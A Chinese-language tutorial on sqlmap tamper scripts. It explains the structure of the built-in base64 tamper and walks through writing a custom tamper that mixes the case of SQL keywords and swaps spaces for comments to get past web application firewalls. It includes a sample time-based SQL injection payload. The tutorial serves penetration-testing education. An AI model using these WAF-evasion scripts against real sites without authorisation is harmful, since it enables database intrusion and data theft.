Sqlmap 是一种开源渗透测试工具,可自动执行检测和利用 Web 应用程序中的 SQL 注入漏洞的过程。它是用 Python 编写的,支持各种数据库管理系统,例如 MySQL、Oracle、PostgreSQL 和 Microsoft SQL Server。
Sqlmap 允许测试人员执行广泛的测试,包括提取数据库数据、枚举数据库架构、对数据库管理系统进行指纹识别,甚至接管底层操作系统。
在篡改方面,sqlmap 提供了各种篡改脚本(tamper),可用于绕过 Web 应用程序防火墙 (WAF) 并规避某些安全措施。这些篡改脚本以绕过 WAF 过滤器、编码技术或其他安全机制的方式修改 sqlmap 发送到目标网站的有效负载。
1.tamper的用法
sqlmap -u [url] --tamper [模块名]
2.tamper存放的路径
/sqlmap/tamper
3.自定义tamper脚本
3.1首先观察tamper内置的脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return encodeBase64(payload, binary=False) if payload else payload
这是自带的base64编码的tamper,目的是将payload的传入参数进行base64编码
可以发现就是一段普通的python脚本,但具有一定格式
3.2结构分析
开头自然是文档声明和调用包,这就是python脚本的正常编写方式
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
其次有个PRIORITY是定义tamper的优先级,PRIORITY有以下几个参数:
- LOWEST = -100
- LOWER = -50
- LOW = -10
- NORMAL = 0
- HIGH = 10
- HIGHER = 50
- HIGHEST = 100
__priority__ = PRIORITY.LOW
这个base64encode脚本的优先级就设定为了low
再次是def 一个dependencies,这个函数是为了提示用户这个脚本支持什么类型的数据库
这个是hex2char中的dependencies内容:
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
提示只支持mysql数据库
而base64encode就是
def dependencies():
pass
直接跳过,不具有任何数据库限制
最后tamper函数就是这个base64encode tamper的主要内容,对输入的payload进行base64编码
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return encodeBase64(payload, binary=False) if payload else payload
4.自己编写一个大小写绕过的tamper
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
__priority__ = PRIORITY.HIGHEST #高优先级
def dependencies():
pass #不用特殊支持一种数据库
def tamper(payload, **kwargs):
#运用python的replace替换换函数进行字符替换
payload = payload.replace("SELECT","sElEcT")
payload = payload.replace("OR","Or")
payload = payload.replace("AND", "AnD")
payload = payload.replace("UNION", "UnIoN")
payload = payload.replace("SLEEP", "sLeeP")
payload = payload.replace("FROM", "FrOm")
payload = payload.replace(" ", "/**/")
return payload